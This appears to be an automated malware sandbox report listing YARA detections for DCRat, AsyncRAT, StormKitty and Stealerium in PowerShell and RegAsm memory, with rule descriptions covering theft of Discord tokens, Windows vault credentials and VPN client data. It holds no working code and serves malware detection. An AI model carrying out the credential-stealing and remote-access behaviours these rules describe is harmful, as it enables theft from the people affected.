Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 17.2.powershell.exe.5dd4f6a.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 27.2.RegAsm.exe.525b8a.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.4c4fae0.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.powershell.exe.6a731aa.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.powershell.exe.623334a.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 13.2.powershell.exe.57b8cf4.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 13.2.powershell.exe.58251b8.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 14.2.powershell.exe.5959a9c.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 14.2.powershell.exe.5955534.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 17.2.powershell.exe.4cc04d8.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 14.2.powershell.exe.694f420.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.64ff600.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 13.2.powershell.exe.5829720.3.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Stealerium based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Finds StormKitty samples (or their variants) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Find DcRAT samples (qwqdanchun) based on specific strings Author: Sekoia.io
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables attemping to enumerate video devices using WMI Author: ditekSHen
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing many VPN software clients. Observed in infosteslers Author: ditekSHen
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.662338a.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 17.2.powershell.exe.4cbbf70.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.52af274.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 15.2.powershell.exe.52aace4.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects StormKitty infostealer Author: ditekSHen
Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000001B.00000002.2274653797.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000D.00000002.2389566237.000000000681F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000011.00000002.2351123471.00000000058F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000E.00000002.2298898373.000000000694F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000E.00000002.2298898373.000000000658F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 00000011.00000002.2351123471.0000000005CB1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000F.00000002.2313797337.000000000613F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000D.00000002.2389566237.000000000645F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_DCRat_1aeea1ac Author: unknown
Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: 0000000F.00000002.2313797337.00000000064FF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 5512, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6508, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6500, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 2616, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR	Matched rule: Detects executables referencing Discord tokens regular expressions Author: ditekSHen
Source: Process Memory Space: RegAsm.exe PID: 7436, type: MEMORYSTR	Matched rule: Detects AsyncRAT Author: ditekSHen

.NET source code contains very large strings

Source: 13.2.powershell.exe.555c6ec.2.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 13.2.powershell.exe.57b8cf4.0.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 13.2.powershell.exe.57a7874.4.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 14.2.powershell.exe.58d7be4.4.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 14.2.powershell.exe.568c688.2.raw.unpack, Knvbl.cs	Long String: Length: 14748
Source: 14.2.powershell.exe.8de0000.8.raw.unpack, Knvbl.cs	Long String: Length: 14748

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_015C3370 NtProtectVirtualMemory,		26_2_015C3370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_015C2F19 NtProtectVirtualMemory,		26_2_015C2F19

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6E9BE135	0_2_6E9BE135
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_6E9BE135	3_2_6E9BE135
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_6E9BE135	4_2_6E9BE135
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_015C27A0	26_2_015C27A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_015CF248	26_2_015CF248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_015C2792	26_2_015C2792
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_015C2F19	26_2_015C2F19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E086BE	26_2_06E086BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E085F9	26_2_06E085F9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E086FF	26_2_06E086FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E087E6	26_2_06E087E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E087C1	26_2_06E087C1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E0879C	26_2_06E0879C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E0875B	26_2_06E0875B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E0872D	26_2_06E0872D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E07390	26_2_06E07390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E00040	26_2_06E00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E08A5F	26_2_06E08A5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E08A11	26_2_06E08A11
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E0888B	26_2_06E0888B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_06E08809	26_2_06E08809
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078EA6D0	26_2_078EA6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078E6CA8	26_2_078E6CA8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078E83A8	26_2_078E83A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078E60B8	26_2_078E60B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 26_2_078EBE98	26_2_078EBE98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_04EF0540	29_2_04EF0540

Source: C:\Windows\System32\loaddll32.exe	Code function: String function: 6E9B19E0 appears 35 times
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: String function: 6E9B19E0 appears 35 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E9B19E0 appears 35 times

Source: iviewers.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: dump.pcap, type: PCAP	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
Source: dump.pcap, type: PCAP	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 13.2.powershell.exe.562d856.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.5a9e762.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 13.2.powershell.exe.562d856.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_StormKitty author = ditekSHen, description = Detects StormKitty infostealer, clamav_sig = MALWARE.Win.Trojan.StormKitty
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_DCRat_1aeea1ac os = windows, severity = x86, creation_date = 2022-01-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.DCRat, fingerprint = fc67d76dc916b7736de783aa245483381a8fe071c533f3761e550af80a873fe9, id = 1aeea1ac-69b9-4cc6-91af-18b7a79f35ce, last_modified = 2022-04-12
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stealerium author = Sekoia.io, description = Detects Stealerium based on specific strings, creation_date = 2022-12-01, classification = TLP:CLEAR, version = 1.0, id = 165c7d3d-de7e-4d71-b94a-8ab4a0e5ddd5
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: infostealer_win_stormkitty author = Sekoia.io, description = Finds StormKitty samples (or their variants) based on specific strings, creation_date = 2023-03-29, classification = TLP:CLEAR, version = 1.0, id = 5014d2e5-af5c-4800-ab1e-b57de37a2450
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_dcrat_qwqdanchun author = Sekoia.io, description = Find DcRAT samples (qwqdanchun) based on specific strings, creation_date = 2023-01-26, classification = TLP:CLEAR, version = 1.0, reference = https://github.com/qwqdanchun/DcRat, id = 8206a410-48b3-425f-9dcb-7a528673a37a
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice author = ditekSHen, description = Detects executables attemping to enumerate video devices using WMI
Source: 15.2.powershell.exe.6920daa.8.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex author = ditekSHen, description = Detects executables referencing Discord tokens regular expressions
